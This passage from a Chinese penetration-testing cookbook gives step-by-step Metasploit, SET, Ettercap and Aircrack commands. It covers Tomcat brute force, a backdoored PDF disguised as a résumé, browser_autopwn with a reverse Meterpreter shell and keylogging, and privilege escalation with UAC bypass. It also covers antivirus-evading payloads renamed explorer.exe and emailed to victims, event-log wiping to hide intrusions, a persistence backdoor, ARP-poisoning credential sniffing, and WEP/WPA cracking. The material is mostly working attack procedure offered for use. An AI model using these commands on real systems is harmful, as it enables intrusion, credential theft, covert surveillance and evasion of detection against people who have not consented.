在本示例中，我们使用Metasploit的MSFCONSOLE测试Metasploitable 2主机上的PostgreSQL漏洞。我们首先启动一个终端，然后搜索所有已知的PostgreSQL漏洞。在选择PostgreSQL Login攻击之后，我们就可以对PostgreSQL登录进行暴力攻击。即设置选项并执行exploit。Metasploit将使用您指定的用户名和密码文件，尝试对PostgreSQL数据库进行暴力攻击。请注意图5.32所示输出里的加号“＋”标识，如果用户名和密码边上出现这个标识，表示这个用户名和密码是正确的账号信息。
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图5.32

补充资料

在本示例中，我们使用了BackTrack自带的一个PostgreSQL账号字典（用户名和密码）。我们也可以自行创建账号字典。生成用户名单词列表和密码字典的方法有很多，本书将在第8章详细讲解这部分内容。

5.10　Metasploitable Tomcat

在本例中，我们将讲解如何让使用Metasploit攻击Tomcat服务器，这里使用的是Tomcat Manager Login模块。Tomcat（也就是Apache Tomcat）是开源的Web服务器和servlet容器，用于运行Java Servlet和JavaServer Page（JSP）。Tomcat服务器使用纯Java语言编写的。在本例中，我们将使用Metasploit来对Tomcat登录进行暴力攻击。

准备工作

在进行下一步操作之前，需要满足以下条件：


	系统需要接入内部网络；

	在渗透实验室中已经有一台运行Metasploitable系统的主机或虚拟机；

	用于执行字典攻击的单词列表。



操作步骤

现在打开一个终端窗口，准备开始本示例。

1．打开一个终端窗口。

2．启动MSFCONSOLE。



    msfconsole 





3．搜索所有可用的Tomcat模块（见图5.33）。



    search tomcat 





4．使用Tomcat Application Manager Login工具。



    use auxiliary/scanner/http/tomcat_mgr_login 
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图5.33

5．显示模块的可用选项。



    show options 
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 注意，我们有很多选项都被设置为yes
 ，而且是必需的。我们将使用其默认设置。

6．设置密码文件（PASS_FILE）
 的位置。



   PASS_FILE mset
   /opt/metasploit/msf3/data/wordlists/tomcat_mgr_default_pass.txt






7．设置用户文件（USER_FILE）
 的位置。



   USER_FILE mset
   /opt/metasploit/msf3/data/wordlists/tomcat_mgr_default_users.txt






8．设置目标RHOST。在本例中，我们使用的是Metasploitable 2主机/虚拟主机的IP地址。



    set RHOSTS 192.168.10.111 





9．将RPORT设置为Tomcat默认端口8180
 。



    set RPORT 8180 





10．执行exploit。



    exploit 





本例小结

在本示例中，我们使用Metasploit的MSFCONSOLE测试Metasploitable 2目标主机上的Tomcat漏洞。我们先启动了一个终端窗口，然后搜索所有已知的Tomcat漏洞。我们在选择Tomcat Login模块之后，就可以对Tomcat的登录账号进行暴力破解；即设置选项并执行exploit。Metasploit将使用您指定的用户名和密码字典，尝试对Tomcat服务器进行暴力攻击。请注意图5.34所示输出里的加号“＋”标识，如果用户名和密码边上出现这个标识，表示这个用户名和密码组合是正确的登录信息。
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图5.34

5.11　Metasploitable PDF

在本示例中，我们将讲解如何使用Metasploit来执行Portable Document Format（PDF）
 文档攻击。本例将使用Adobe PDF Embedded模块。在日常的文档工作中，人们普遍会用到Adobe PDF。由于其应用的广泛性，特别是在商业领域中广泛应用，我们研究PDF的安全性有重要意义。我们将采用社会工程学的方式发起攻击：让打开这个PDF文件的用户当作是求职者简历打开。

准备工作

在进行下一步操作之前，需要满足以下条件：


	系统需要接入内部网络；

	在渗透实验室中已经有一台运行Metasploitable系统的主机或虚拟机；

	用于执行字典攻击的单词列表。



操作步骤

现在打开一个终端窗口，准备开始本示例。

1．打开一个终端窗口。

2．启动MSFCONSOLE。



    msfconsole 





3．搜索所有可用的PDF模块（见图5.35）。



    search pdf 
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图5.35

4．使用Adobe PDF Embedded EXE Social Engineering模块。



    use exploit/windows/fileformat/adobe_pdf_embedded_exe 





5．显示模块的可用选项（见图5.36）。



    show options 





6．设置要生成的PDF文件名。



    set FILENAME evildocument.pdf 





7．设置infilename，即原始PDF文件的文件名。本例使用的是Desktop目录下的一份简历文件。



    set INFILENAME /root/Desktop/willie.pdf 
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图5.36
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 注意，该模块的所有选项都是可选的，但是INFILENAME
 选项是必选的。

8．执行exploit（见图5.37）。



    exploit 





[image: 0538]


图5.37

本例小结

在本示例中，我们使用Metasploit的MSFCONSOLE来创建一个包含Meterpreer后门的Adobe PDF文件。我们先启动了一个终端窗口，然后搜索所有的已知PDF漏洞。在选择了Embedded EXE PDF exploit后，我们可以将后门程序隐藏在一个合法的PDF中；即设置选项，并执行exploit。Metasploit将会生成一个PDF文件，该文件包含Windows反向TCP连接的payload。当收到这个PDF的目标用户打开这个PDF文件时，Meterpreter会建立一个活动的会话。

5.12　实施browser_autopwn模块


browser_autopwn
 是Metasploit提供的辅助功能模块。在用户访问Web页面时，它会自动攻击受害者的浏览器。在开始攻击之前，browser_autopwn能够检测用户使用的浏览器类型，这意味着它不会将Mozilla Firefox的exploit用在IE 7的身上。browser_autopwn将根据浏览器的检测结果，自行部署最合适的exploit。

准备工作

在进行下一步操作之前，系统需要接入内部网络。

操作步骤

打开一个终端窗口，开始本示例。

1．打开一个终端窗口。

2．启动MSFCONSOLE。



    msfconsole 





3．搜索Autopwn模块（见图5.38）。



    search autopwn 
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图5.38

4．使用browser_autopwn模块。



    use auxiliary/server/browser_autopwn 





5．设置payload。本示例使用Windows反向TCP。



    set payload windows/meterpreter/reverse_tcp 





6．显示该类型负载的选项（见图5.39）。



    show options 
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图5.39

7．设置反向TCP连接将要连接的主机IP地址。在本示例中，我的PC的IP地址是192.168.10.109
 。



    set LHOST 192.168.10.109 





8．接下来，设置URI路径。本示例使用"filetypes"
 （连同引号一起使用）。



    set URIPATH "filetypes" 





9．执行exploit。



    exploit 





10．Metasploit将模仿一个网站，其网址是http://[您设定的IP/LHOST参数]:[SRVPORT参数/默认是8080]。

11．当有人访问这个网址时，browser_autopwn模块尝试连接用户的机器，并试图建立远程会话。如果成功，Meterpreter将会进行确认。使用session
 命令可以激活会话。



    session -i 1 





12．要显示我们可以运行的Meterpreter命令列表，可以使用help
 命令。



     help 





13．这会列出大量的可用命令。在本示例中，我们将启动键盘操作记录扫描。



     keyscan_start 





14．要得到目标主机进行过的键盘操作记录，需要使用keyscan_dump
 指令。



     keyscan_dump 





本例小结

在本示例中，我们使用了MSFCONSOLE的browser_autopwn发起攻击。我们首先打开一个终端窗口，然后搜索所有已知的Autopwn模块。在选择了Autopwn模块后，将payload设置为Windows反向TCP。这样，当攻击成功时，我们将会得到一个指向指定地址的反向连接。一旦有人访问Web页面，攻击即宣告成功，我们就可以得到一个可用的Meterpreter会话，继而可以发起其他攻击。








第6章　提权

本章将包含以下内容：


	使用认证令牌；

	本地权限提升攻击；

	掌握Social-Engineer Toolkit（SET）；

	收集远程数据；

	隐匿入侵踪迹；

	创建驻留型后门；

	中间人攻击（MITM）。



6.1　简介

一旦我们可以访问目标计算机，我们就要尽可能提升在该计算机上的权限，这很重要。通常情况下，我们获得的是较低权限的账户（常规登录账户）。但是，我们最需要获取的权限却是管理员账户的权限。在本章，我们将讲解可以提升权限的各种方法。

6.2　使用模拟令牌

在本示例中，我们将使用模拟令牌（token）模拟网络上的其他用户。当用户登录Windows操作系统后，他们将被授予一个访问令牌（token），该令牌会作为账户会话信息的一部分，成为各种网络命令的权限凭据。模拟令牌，即通过模拟其他用户token的方式来提升我们会话的权限。例如，系统账户可能需要作为域管理员来运行，以处理特定的任务，而且在任务处理完毕之后，通常会放弃它提升的权限。我们将使用该缺陷来提升访问权限。

准备工作

要运行本示例，需要满足如下条件：


	将系统接入Internet或内联网；

	需要一台受害者的目标机器。



操作步骤

我们将通过Meterpreter shell来开始模拟令牌攻击。为了获得一个Meterpreter shell会话，我们需要使用Metasploit来攻击一台主机。可以借助第5章介绍的方法，使用Metasploit获得主机的访问权限。

1．一旦目标主机执行了payload，Metasploit exploit将会获得目标主机的访问权限。同时，Meterpreter将会显示相关提示，开始shell会话（见图6.1）。
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图6.1

2．在Meterpreter中，使用Incognito开始模拟过程。



    use incognito 





3．使用help
 命令来显示Incognito的帮助文件。



    help 





4．将会注意到我们有多个可用的选项（见图6.2）。
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图6.2

5．接下来，我们希望获得一个可用的用户列表，该列表包含了当前登录系统的用户，以及最近曾经访问过系统的用户。我们可以使用list_tokens
 命令外加-u
 选项来实现（见图6.3）。



    list_tokens -u 
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图6.3

6．接下来，运行模拟认证令牌的攻击。这里使用的语法是impersonate_token
 [目标账户]。



    impersonate_token \\test-pc\willie 





7．如果操作成功，我们就可以使用他人的账户登录系统。

本例小结

在本示例中，我们假设已经与目标主机建立了Meterpreter Shell会话。我们要在该主机上使用Meterpreter来模拟另外一个用户的令牌。模拟攻击的原则是选择权限尽可能高的账户进行模拟，最好是模拟域主机的域管理员账户，这样就可以使用他们的账户和权限进一步潜入网络。

6.3　本地权限提升攻击

在本示例中，我们将在被攻陷的机器上提升权限。本地权限提升可以让我们获取系统的访问权限，或者是获取当前正在使用的目标系统的域用户账户。

准备工作

要运行本示例，需要满足如下条件：


	将系统接入Internet或内联网；

	需要一台使用Metasploit Framework的受害者机器。



操作步骤

我们现在开始通过Meterpreter shell执行本地权限提升攻击。为了获得一个Meterpreter shell会话，我们需要使用Metasploit来攻击一台主机。可以借助第5章介绍的方法，使用Metasploit获得主机的访问权限。

1．一旦目标主机执行了payload，Metasploit exploit将会获得目标主机的访问权限。同时，Meterpreter将会显示相关提示，开始shell会话（见图6.4）。
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图6.4

2．接下来，查看getsystem
 命令的帮助文件，此时需要使用-h
 选项。



    getsystem -h 





3．最后，运行这个命令（不带任何选项）。



    getsystem 
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 如果打算获取Window 7系统的权限，在运行getsystem
 命令前，必须先运行bypassuac
 命令，bypassuac
 的作用是绕过微软Microsoft User Account Control。该命令执行方式如下。



   run post/windows/escalate/bypassuac 





4．大功告成！我们成功地执行了一次权限提升攻击。

本例小结

在本示例中，我们使用Meterptreter对目标主机展开本地权限提升的攻击。我们先是打开Meterpreter shell，运行getsystem
 命令，然后尝试通过Meterpreter提升我们在目标系统中的权限。如果成功，我们就可以得到受害者主机的系统级访问权限。

6.4　掌握Social Engineer Toolkit（SET）

在本例中，我们将讲解Social-Engineer Toolkit（SET）。
 SET框架包含一系列工具，它能够帮助用户使用社会工程学的方法攻击受害者主机，它的作者是David Kennedy。Set框架工具很快成为了渗透测试人员的标准配置工具。

操作步骤

现在，通过执行下述步骤来探索SET。

1．单击Terminal
 图标，打开一个终端窗口，然后浏览SET所在的目录。



    cd /pentest/exploits/set 





2．通过执行下述应用来运行SET应用程序。



   ./set 





3．如果这是第一次运行SET，将会看到一些服务条款，输入yes（y）接受这些条款（见图6.5）。
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图6.5

4．接受服务条款之后，将会看到SET菜单（见图6.6）。这个菜单有以下一些选项。


	Social-Engineering Attacks

	Fast-Track Penetration Testing

	Third Party Modules

	Update the Metasploit Framework

	Update the Social-Engineer Toolkit

	Update SET configuration

	Help, Credits, and About

	Exit the Social-Engineer Toolkit
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图6.6
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 在执行攻击之前，最好手动更新SET程序。该操作将使本机与作者最新发布的内容进行同步。

5．这里我们选择选项1，发起一次社会工程学攻击。



    1 





6．我们将会看到一系列社会工程学攻击方法，这里选择Create a Payload and Listener
 选项（选项4）（见图6.7）。



    4 
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图6.7

7．然后，我们设置反向连接将要访问的IP地址。在本例中，我们输入IP地址（见图6.8）：



    192.168.10.109 
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图6.8

8．程序会显示可用的payload和Listener选项，并且对其进行了详细的说明。此处Listener指的是Meterpreter系统为反向连接提供的网络接口。选择Windows Reverse_TCP Meterpreter
 （选项2）（见图6.9）。这可以让我们连接到目标主机，并对其实施Meterpreter payload。



    2 
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图6.9

9．程序会显示一组用于绕过杀毒软件的编码。目标主机通常会有杀毒软件，能否躲避杀毒软件的检测是影响payload
 成败的关键。Meterpreter的SET 会为用户推荐某选项（用BEST标注），在本例中，它推荐的是“Backdoored Executable”。
 我们选择Backdoored Executable（BEST）
 编码（第选项16）（见图6.10）。



    16 





10．最终指派一个端口为监听端口。程序默认使用443
 端口。本例直接使用程序的默认设置。



    443 
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图6.10

11．设置payload程序之后，系统会提示您是否启动监听端口（见图6.11）。
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图6.11

12．Metasploit将打开程序进行相关处理（见图6.12）。
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图6.12

本例小结

在本示例中，我们讲解了SET的使用。SET具有菜单化的操作界面，我们可以用来容易地生成所需的工具，来欺骗受害者。在启动SET之后，我们在程序里设定相关的操作选项。SET会询问攻击类型等一系列问题。在本示例最后，我们创建了社会工程学的应用程序，这个程序将与目标主机建立Meterpreter会话。

补充资料

此外，我们也可以通过桌面来启动SET，方法是选择Applications | BackTrack | Exploitation Tools | Social Engineering Tools | Social Engineering Toolkit | set。



将payload传输到目标主机


在使用SET创建了payload之后，我们需要将制作好的程序传输到目标主机上执行，这样才能攻击受害者的系统。我们来看一下执行该操作的步骤。

1．在set
 生成目录中，会有一个名为msf.exe
 的可执行文件。为了避免被人或杀毒软件识别出来，建议将该文件进行重命名。本例中，我们将其命名为explorer.exe。
 要开始该过程，先打开一个终端窗口，然后找到SET所在的目录。



    cd /pentest/exploits/set 





2．查看文件。



    ls 





3．将文件重命名为explorer.exe
 （见图6.13）。



    mv msf.exe explorer.exe 
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图6.13

4．现在压缩explorer.exe
 这个payload。在本示例中，我们将其压缩为healthyfiles
 （见图6.14）。



    zip healthyfiles explorer.exe 
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图6.14

5．在创建了ZIP文档之后，可以用多种方法传到受害者的主机上。您可以压缩该文件发邮件给受害人（大多数邮件系统应该不会拦截它），您也可以将其放到USB key中，然后在受害者的机器上手动打开。当打开压缩文档，并浏览其中的文件时，您的目的也就达到了。

6.5　收集远程数据

在本示例中，我们将讲解如何使用Metasploit来收集受害者机器的数据。可以有多种方式来实现该目的，但是这里仅仅讲解“记录用户在受害者机器上的键盘操作记录”这一种方式。通过收集受害者的数据，我们有可能获得额外的信息，以备日后的攻击使用。在本示例中，我们将收集用户在受害者主机上输入的键盘记录。

准备工作

本示例需要满足如下条件：


	将系统接入Internet或内联网；

	需要一台使用Metasploit Framework的机器。



操作步骤

我们现在开始通过Meterpreter shell开始收集数据的过程。为了获得一个Meterpreter shell会话，我们需要使用Metasploit来攻击一台主机。可以借助第5章介绍的方法，使用Metasploit获得主机的访问权限。

1．一旦目标主机执行了payloads，Metasploit exploit将会获得目标主机的访问权限（见图6.15）。同时，Meterpreter将会显示相关提示，开始shell会话。

[image: P154a]


图6.15

2．现在，执行如下命令，启动keylogger
 （见图6.16）。



    keyscan_start 
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图6.16

3．最后，执行keyscan_dump
 命令，将用户的键盘操作记录输出到屏幕上（见图6.17）。



    keyscan_dump 
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图6.17

本例小结

在本示例中，我们使用Meterpreter从受害者主机收集数据。我们先获得对受害者系统的访问权限，然后执行keyscan_start
 命令，开始记录受害者机器上发生的键盘操作。最后，执行keyscan_dump
 命令，查看从受害者主机上收集到的数据。这种方式可以很好地获取密码、银行账户或其他有价值的信息。您能访问受害者主机的时间越长，您收集到的信息也就越多。

补充资料

还有多种方法可以用来从受害者主机收集数据。在本示例中，我们使用Metasploit和Meterpreter keycan来记录键盘操作，我们也可以使用Wireshark或airodump-ng来轻易地收集数据。这里的关键是，我们要不断探索各种工具，找到哪种工具更适合完成您的目标。

6.6　隐匿入侵踪迹

在本例中，我们将使用Metasploit来清除入侵的操作记录。在攻陷一台主机后清除记录是一个非常重要的步骤，因为没有人希望因为这些访问记录成为把柄，或者因此被人发现，从而麻烦不断。所幸，Metasploit为我们提供了清除记录的简便方法。

准备工作

要运行本示例，需要满足如下条件：


	将系统接入Internet或内联网；

	需要一台使用Metasploit Framework的受害者机器。



操作步骤

我们现在开始通过Meterpreter shell执行踪迹清除操作的过程。为了获得一个Meterpreter shell会话，我们需要使用Metasploit来攻击一台主机。可以借助第5章介绍的方法，使用Metasploit获得主机的访问权限。

1．一旦使用带有Metasploit负载的Metasploit exploit获得主机的访问权限后，将会显示Meterpreter提示符（见图6.18）。
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图6.18

2．接下来，我们需要运行IRB（一个Ruby解释器shell），开始日志删除过程（见图6.19）。



    irb 
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图6.19

3．接下来，告诉IRB想要删除的日志。下面是一些可用的选项。



   log = client.sys.eventlog.open('system')
   log = client.sys.eventlog.open('security')
   log = client.sys.eventlog.open('application')
   log = client.sys.eventlog.open('directory service')
   log = client.sys.eventlog.open('dns server')
   log = client.sys.eventlog.open('file replication service') 





4．在本例中，我们将清除所有日志。我们需要一次输入下面所有的日志（见图6.20）。



   log = client.sys.eventlog.open('system')
   log = client.sys.eventlog.open('security')
   log = client.sys.eventlog.open('application')
   log = client.sys.eventlog.open('directory service')
   log = client.sys.eventlog.open('dns server')
   log = client.sys.eventlog.open('file replication service') 
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图6.20

5．现在，执行下述命令，清除日志文件。



 log.clear 





6．大功告成！可见，少量命令就可以清除入侵的痕迹。

本例小结

在本例中，我们使用Meterpreter来清除被攻陷主机上的痕迹。我们先打开Meterpreter shell，然后启动IRB。接下来，我们指定了希望删除的文件，最后执行log.clear
 命令来清除日志。切记，我们一定要在攻陷主机之后的最后一步执行该操作。在清除了踪迹之后，如果再执行其他功能，目标主机的操作系统会继续进行记录。

6.7　创建驻留型后门

在本示例中，我们使用Metasploit Persistence建立长期有效的后门。一旦我们成功获取了受害者主机的访问权限后，我们肯定不希望再次采用同样费力的方式重新获得访问权限。如果受害者主机的用户执行的某些操作中断了连接，比如重启机器，我们可以使用后门，重新与受害者机器建立连接。这就是后门的用武之地，因为它可以维护与受害者主机之间建立的连接。

准备工作

要运行本示例，需要满足如下条件：


	将系统接入Internet或内联网；

	需要一台使用Metasploit Framework的受害者机器。



操作步骤

我们首先安装驻留型后门。要获取Meterpreter shell会话，我们需要使用Metasploit来攻击一台主机。可以借助第5章介绍的方法，使用Metasploit获得主机的访问权限。

1．一旦目标主机执行了payloads，Metasploit exploit将会获得目标主机的访问权限（见图6.21）。同时，Meterpreter将会相关提示，开始shell会话。
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图6.21

2．我们需要运行Persistence设置后门。首先查看persistence帮助文件（见图6.22）。



    run persistence -h 





3．Persistence具有多个选项，如下所示。


	
-A：
 通过该选项设置启动的后门，将会马上启动，而且能够自动响应/处理多个连接。

	
-S：
 将后门设置为系统服务（系统权限且自动启动）。

	
-U：
 设置后门为在用户登录时自动启动。

	
-i：
 设置反向连接的重试间隔，单位为秒。

	
-p：
 设置了Metasploit主机在攻击者机器上的监听端口。

	
-P：
 设置将要使用的payload。默认情况下使用的是reverse_tcp
 payload，这也是我们通常想使用的payload。

	
-r：
 设置攻击者机器的IP地址。
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图6.22

4．现在执行命令，来设置后门（见图6.23）。



    run persistence -U -A -i 10 -8090 -r 192.168.10.109 
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图6.23

5．后门设置完毕。如果操作成功，可以看到我们现在有了第二个Meterpreter会话（见图6.24）。
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图6.24

本例小结

在本示例中，我们使用Meterpreter设置了一个驻留型后门。我们在攻陷主机后，获得了一个Meterpreter shell。然后我们通过查看Persistence帮助文件，探索了其中的几个可用选项。最后，我们运行后门的安装命令，并设置其选项，从而完成了后门的安装。

6.8　中间人攻击

在本示例中，我们将对目标进行中间人攻击（MITM）。MITM攻击可以让我们监听目标主机与第三方之间的通信。例如，我们可以使用Ettercap来监听Windows主机上的通信，同时检查它从http://www.yahoo.com
 接收的邮件。

准备工作

要运行本示例，需要满足如下条件：


	系统以无线方式接入网络；

	网络上有一台主机连接到无线网络。



操作步骤

启用Ettercap，开始MITM攻击。

1．打开一个终端窗口，启动 Ettercap。使用-G
 选项启用GUI界面（见图6.25）。



    ettercap -G 





2．打开 Unified sniffing程序。可以使用Shift + U或者在菜单中选择Sniff | Unified sniffing
 启动（见图6.26）。
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图6.25
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图6.26

3．选择网络接口。由于我们是使用MITM攻击，因此选择无线网卡接口（见图6.27）。
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图6.27

4．接下来，开始扫描主机。这可以通过Ctrl +S或者在菜单中选择Hosts | Scan for hosts
 来启动（见图6.28）。
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图6.28

5．接下来，屏幕将列出主机列表。可以通过按下H键或者在菜单中选择Hosts | Hosts list
 进行选取（见图6.29）。
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图6.29

6．接下来，选择和设置目标。在本例中，我们选择192.168.10.112
 作为我们的嗅探目标。我们先选取这个IP地址，然后单击Add to Target 1
 按钮（见图6.30）。
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图6.30

7．此时，可以启动Ettercap的嗅探功能。可通过Ctrl +W或者在菜单中选择Start | Start sniffing
 来启动（见图6.31）。
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图6.31

8．最后，我们开始ARP欺骗/污染。从菜单中选择Mitm | Arp poisoning...
 （见图6.32）。
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图6.32

9．在出现的窗口中，选中Sniff remote connections
 单选框（见图6.33）。
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图6.33

10．之后，我们将会在Ettercap窗口中看到信息（其时间取决于网络流量）（见图6.34）。
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图6.34

11．一旦发现我们需要的东西（用户名和密码）后，关闭Ettercap。我们可以通过Ctrl + W或者从菜单中选择Start | Stop sniffing
 来实现（见图6.35）。
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图6.35

12．嗅探完成之后，我们需要关闭ARP污染，恢复正常的网络通信（见图6.36）。
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图6.36

本例小结

示例演示了MITM 攻击方法。我们需要配合使用ARP欺骗手段，才能开展MITM攻击，监听用户在无线网络中的通信。
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 关于MITM的更多详情，请访问http://en.wikipedia.org/ wiki/Man-in-the-middle_attack#Example_of_an_attack。









第7章　无线网络分析

本章将包含以下内容：


	破解WEP无线网络；

	破解WPA/WPA2无线网络；

	自动化破解无线网络；

	伪造AP；

	Arpspoof简介；

	端口重定向；

	嗅探网络通信；

	窃取cookie来访问Web mail。



7.1　简介

如今，无线网络无处不在，无线网络的普及也越来越广泛。对大多数用户来讲，通过无法移动的以太网电缆来访问Internet有太多不便。无线网络尽管方便，但是却没有有线网络那么安全。在本章，我们将介绍操控无线网络通信（包括手机和无线网络）的几种方法。

7.2　破解WEP无线网络

无线对等保密技术（Wireless Equivalent Privacy，WEP）是1999年出现的保护无线网络的技术手段，它属于相当古老的安全标准。在2003年，WEP先后被WPA和WPA2取代。更为安全的协议逐渐淘汰了WEP技术。实际上，强烈建议用户不要使用WEP加密来保护自己的网络，已经有太多的方法可以攻破WEP加密。我们将在本节中探究其中的一种方法。

我们将使用Aircrack套件来破解WEP密钥。Aircrack套件（现在指的是Aircrack NG）用于破解WEP和WPA；它可以捕获、分析网络数据包，使用数据包中的数据来破解WEP密钥。

准备工作

本示例需要用到BackTrack终端窗口，还要用到支持数据包注入技术的无线网卡。所谓的“数据包注入技术”指模拟其他电脑或设备发送无线信号的技术。并非所有的无线网卡都支持数据包注入，所以您需要确定自己的网卡是否可以完成本示例。

操作步骤

现在使用Aircrack来破解使用WEP保护的网络会话。

1．打开终端窗口，使用下述命令查看无线网卡（见图7.1）。



    airmon-ng 
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图7.1

2．在屏幕显示的接口栏中，选取相应的无线网卡接口。在本示例中，我们使用wlan0
 。如果您的网卡接口不是这个名称（例如mon0），请自行替换。

3．接下来，我们需要停用wlan0
 接口，以便更改MAC地址。



   airmon-ng stop
   ifconfig wlan0 down







4．然后，更改接口的MAC地址。由于网卡的MAC地址可以在网络中唯一地标识一台机器，通过修改网卡的MAC地址，则可以隐藏电脑真实身份。在本例中，我们使用00:11:22:33:44:55。




    macchanger–mac 00:11:22:33:44:55 wlan0 





5．现在可以启动Airmon-ng。



    airmon-ng start wlan0 





6．接下来，使用Airodump找到附近可用的无线网络。



    airodump-ng wlan0 





7．此时，airodump将显示周围可用的无线网络。在找到目标网络后，按下Ctrl + C，停止搜索。在BSSID列选中MAC地址，鼠标右键单击，在弹出的菜单中选择Copy
 。同时注意目标网络正在传输信号的频道（channel）。可以在频道列中看到该信息。在本例中，目标网络使用10频道。

8．现在运行Airodump，将选定的BSSID的信息复制到一个文件中。我们将使用下述选项。


	
–c：
 设置频道。在本示例中，我们使用频道10
 。

	
–w：
 设置记录数据包的文件名。在本示例中，我们设置其为wirelessattack。


	

–bssid：
 选择BSSID。在本示例中，我们从剪切板中粘贴09:AC:90:AB:78。


综合上述选项，我们执行下述命令。







    airodump-ng–c 10–w wirelessattack --bssid 09:AC:90:AB:78 wlan0 





9．airodump将打开一个新的终端窗口显示输出结果。

10．我们新建一个终端窗口运行Aireplay，以建立伪连接。Aireplay具有下述语法：aireplay-ng -1 0–a [BSSID]–h [our chosen MAC address]–e [ESSID] [Interface]。
 在本示例中，命令如下。



     aireplay-ng -1 0 -a 09:AC:90:AB:78 –h 00:11:22:33:44:55 –e backtrack wlan0 





11．接下来，向路由器发送一些可供捕获的数据包。我们按照如下格式再次使用Aireplay：aireplay-ng -3–b [BSSID]–h [Our chosen MAC address] [Interface]
 。在本示例中，命令如下。



     aireplay-ng –3 –b 09:AC:90:AB:78 –h 00:11:22:33:44:55 wlan0 





12．此时，程序将在屏幕显示运行状态。等待几分钟，直到我们获取了用来破解的足够信息。

13．最后，运行Aircrack，破解WEP密钥。



     Aircrack-ng–b 09:AC:90:AB:78 wirelessattack.cap 





本例小结

在本示例中，我们使用Aircrack套件破解无线网络的WEP密钥。Aircrack是破解WEP的最常用程序，它先要收集WEP无线连接的握手数据，通过数据分析破解WEP加密密钥。在本示例中，我们先启动Aircrack，然后选择所需的接口。接下来，我们要隐藏自己的真实身份，修改MAC地址。在搜索到无线网络之后，使用Airodump攻击。一旦找到打算攻击的网络，则使用Aireplay在我们的机器与目标无线设备的MAC地址之间建立连接，最后收集一些数据流量，然后暴力破解生成的CAP文件，以获取无线密码。

本例使用的技术是“盲测”，在不存在WEP客户端的时候也可以破解WEP密码。

7.3　破解WPA/WPA2无线网络

WiFi Protected Access，即WAP，是2003年出现的保护无线网络的技术，它用来替代过时的WEP标准。在本示例中，我们将使用Aircrack套件来破解WPA密钥。

准备工作

在本示例中，我们将使用Aircrack套件来破解WPA密钥。为了完成本示例，需要用到BackTrack终端窗口，还需要用到一个配置为支持数据包注入的无线网卡。所谓的“数据包注入技术”指模拟其他电脑或设备发送无线信号的技术。并非所有的无线网卡都支持数据包注入，所以您需要确定自己的网卡是否可以完成本示例。

操作步骤

现在开始使用Aircrack来破解WPA保护的网络会话。

1．打开一个终端窗口，使用下述命令查看设备上的无线网卡（见图7.2）。



    airmon-ng 
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图7.2

2．在屏幕显示的接口栏中，选取相应的无线网卡接口。在本示例中，我们使用wlan0
 。如果您的网卡接口不是这个名称（例如mon0），请自行替换。

3．接下来，我们需要停用wlan0
 接口，以便在后续步骤中更改MAC地址。



   airmon-ng stop wlan0
   ifconfig wlan0 down





4．接下来，更改接口的MAC地址。在本示例中，我们使用00:11:22:33:44:55。




    macchanger–mac 00:11:22:33:44:55 wlan0 





5．现在重启Airmon-ng。



    airmon-ng start wlan0 





6．接下来，使用Airodump查找附近的可用无线网络。



    airodump-ng wlan0 





7．此时，airodump将显示周围可用的无线网络。在找到打算攻击的网络后，按下Ctrl + C，停止搜索。在BSSID列选中MAC地址，鼠标右键单击，在弹出的菜单中选择Copy
 。同时注意目标网络正在传输信号的频道（channel）。可以在频道列中看到该信息。在本例中，目标网络使用10频道。

8．现在运行Airodump，将选定的BSSID的信息复制到一个文件中。我们将使用下述选项。


	
–c
 ：设置频道。在本示例中，我们使用频道10。

	
–w
 ：设置记录数据包的文件名。在本示例中，我们设置其为wirelessattack。


	

–bssid：
 该选项允许我们选择BSSID。在本示例中，我们从剪切板中粘贴09:AC:90:AB:78。


综合上述选项，我们执行下述命令。







    airodump-ng –c 10 –w wirelessattack --bssid 09:AC:90:AB:78 wlan0 





9．airodump将打开一个新的终端窗口显示输出结果。不要关闭airodump的这个窗口。

10．新建一个终端窗口运行Aireplay，发送伪数据以中断现有WiFi连接（客户端会重新与AP握手）。Aireplay具有下述语法：aireplay-ng -deauth 1–a [BSSID]–c [our chosen MAC address] [Interface]。-C
 选项设置已连接的合法客户端的MAC，如果不设置则断掉所有客户端（不过需要多执行几次）。该过程需要几分钟。



     Aireplay-ng --deauth 1 -a 09:AC:90:AB:78–c 00:11:22:33:44:55 wlan0 





11．最后，运行Aircrack破解WPA密钥。-w
 选项用来设置密码字典（wordlist）的文件。在本示例中，记录所捕获的数据包的文件名称是wirelessattack.cap。




     Aircrack-ng –w ./wordlist.lst wirelessattack.cap 





本例小结

在本示例中，我们使用Aircrack套件来破解无线网络的WPA密钥。Aircrack是破解WPA的最常用程序。在断开合法客户端后，它们会与AP重新握手。我们就是要捕获它们握手的数据包，然后利用字典进行暴力攻击。在本示例中，我们先启动Aircrack，然后选择所需的接口。接下来，修改MAC地址，以便隐藏我们在网络中的真实身份，然后搜索可以使用Airodump来攻击的可用无线网络。一旦找到打算攻击的网络，则使用Aireplay在我们的机器与目标无线设备的MAC地址之间发送伪数据，嗅探WiFi握手的数据包，然后暴力破解生成的CAP文件，以获取无线密码。

7.4　自动化破解无线网络

在本示例中，我们使用Gerix自动进行无线网络攻击。Gerix是Aircrack的图形用户界面。在BackTrack 5中，Gerix是默认安装的，它可以提高无线网络破解的效率。

准备工作

为了完成本示例，需要用到一个配置为支持数据包注入的无线网卡。所谓的“数据包注入技术”指模拟其他电脑或设备发送无线信号的技术。并非所有的无线网卡都支持数据包注入，所以您需要确定自己的网卡是否可以完成本示例。

操作步骤

现在开始使用Gerix自动执行无线网络破解。

1．在Gnome开始菜单中，找到BackTrack | Exploitation Tools | Wireless Exploitation Tools | WLAN Exploitation | gerix-wifi-cracker-ng
 （见图7.3）。
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图7.3

2．单击Configuration
 选项卡。

3．在该选项卡中，选择无线接口。

4．单击Enable/Disable Monitor Mode
 按钮。

5．在成功启用Monitor
 模式之后，在Select Target Network
 下单击Rescan Networks
 按钮。

6．将开始显示一系列目标网络。选择其中一个作为攻击目标。在本示例中，选择一个采用WEP加密的网络。

7．单击WEP
 选项卡（见图7.4）。
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图7.4

8．在Functionalities
 下，单击Start Sniffing and Logging
 按钮。

9．单击WEP Attacks（No Client）
 子选项卡。

10．单击Start false access point authentication on victim
 按钮。

11．单击Start the ChopChop attack
 按钮。

12．在弹出的终端窗口中，就Use this packet
 问题单击Y
 。

13．在结束之后，复制生成的.cap
 文件。

14．单击Create the ARP packet to be injected on the victim access point
 按钮。

15．单击Inject the created packet on victim access point
 按钮。

16．在弹出的终端窗口中，就Use this packet
 问题单击Y
 。

17．在生成大约20000数据包之后，单击Cracking
 选项卡。

18．单击Aircrack-ng – Decrypt WEP Password**

 按钮。

本例小结

